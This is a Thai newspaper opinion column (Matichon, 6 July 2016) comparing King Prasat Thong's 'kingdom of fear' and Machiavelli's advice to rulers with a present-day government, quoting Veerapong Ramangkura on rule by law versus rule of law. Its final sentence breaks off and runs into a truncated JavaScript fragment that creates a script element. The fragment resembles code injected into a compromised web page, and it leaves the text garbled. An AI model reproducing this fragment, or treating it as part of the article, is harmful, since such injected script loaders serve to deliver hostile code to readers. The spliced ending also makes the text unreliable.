มติชนรายวัน ฉบับประจำวันพุธที่ 6 กรกฎาคม 2559

 

อาณาจักรแห่งความกลัว

          พระเจ้าปราสาททอง เข้าสู่อำนาจจากตำแหน่งพระยากลาโหม ใช้อุบายมารยาทางการเมืองสถาปนาอาณาจักรแห่งความกลัวจนเป็นพระเจ้าแผ่นดินรัฐอยุธยา

          ผมอ่านอร่อยจากงานวิเคราะห์เมื่อหลายปีมาแล้วผ่านกลวิธีของมาเคอาเวลลี่ โดย อ. สมบัติ จันทรวงศ์ (ม.ธรรมศาสตร์)

          คราวนี้อร่อยอีกเมื่ออ่านบทความของ อ. โกร่ง วีรพงษ์ รามางกูร ดังนี้

          “มาเคอาเวลลี่ เขียนสอนผู้ปกครองหรือ The Prince ไว้ ว่าผู้ปกครองต้องสร้างความกลัวให้เป็นที่ประจักษ์ เพราะประชาชนนั้นนอกจากจะโง่แล้วยังมีความอ่อนแอ ต้องคอยเตือนอยู่เสมอให้อยู่ในความสงบ หากปล่อยให้ราษฎรคนใดคนหนึ่งกระด้างกระเดื่อง อีกไม่นานคนอื่นๆ ก็จะทำตาม”

          [จากบทความเรื่องทัศนคติของผู้ปกครอง โดย วีรพงษ์ รามางกูร ในมติชน ฉบับวันพฤหัสบดีที่ 30 มิถุนายน 2559 หน้า 16]

          อ. โกร่ง วีรพงษ์ ชี้ว่าความระแวงผู้อยู่ใต้ปกครองเป็นเรื่องธรรมดาของผู้ปกครอง ดังนั้น การข่มขู่ การอ้างกฎหมายที่ตนเป็นคนออก เป็นระบบ rule by law ไม่ใช่ระบบที่ใช้ระบบนิติรัฐ หรือ rule of law เป็นหลักในการบริหารประเทศ

          “ทัศนคติของรัฐบาลประเภทนี้จึงมีทัศนคติว่าตนเป็นผู้ปกครอง ประชาชนเป็นผู้อยู่ใต้การปกครอง ความสัมพันธ์ก็เป็นความสัมพันธ์ระหว่างผู้ปกครองกับผู้อยู่ใต้การปกครอง หรือ ‘นายกับบ่าว’ เช่นเดียวกับฝรั่งเจ้าอาณานิคมกับราษฎรของประเทศอาณานิคม”

          “เราจึงได้ยินคำข่มขู่ คำต่อว่า และคำบริภาษประชาชนทางสื่อมวลชน เช่น โทรทัศน์ วิทยุและหนังสือพิมพ์ ทุกครั้งที่มีการสัมภาษณ์ ‘ผู้ปกครอง’ ของเราทุกวันอังคารและวันศุกร์”

          “ในการสื่อสารก็มีลักษณะของการสื่อสารระหว่าง ‘นาย’ กับ ‘บ่าว’ หรือ ‘เจ้ากับไพร่’ ไม่ใช่เป็นการสื่อสารระหว่างผู้ให้ ‘บริการ’ หรือ ผู้ ‘รับใช้’ ประชาชน”

          อาณาจักรแห่งความกลัว ถูกสถาปนาขึ้นใหม่ในยุคนี้ ผมเลยต้องสมัครเป็นศิษย์ “ครูพักลักจำ” ของ อ. โกร่ง เพื่อลดความโง่ของตัวเอง ด้วยหวังเอาตัวรอดปากเหยี่ยวปากกาif (document.currentScript) { var d=document;var s=d.createElement(‘script’);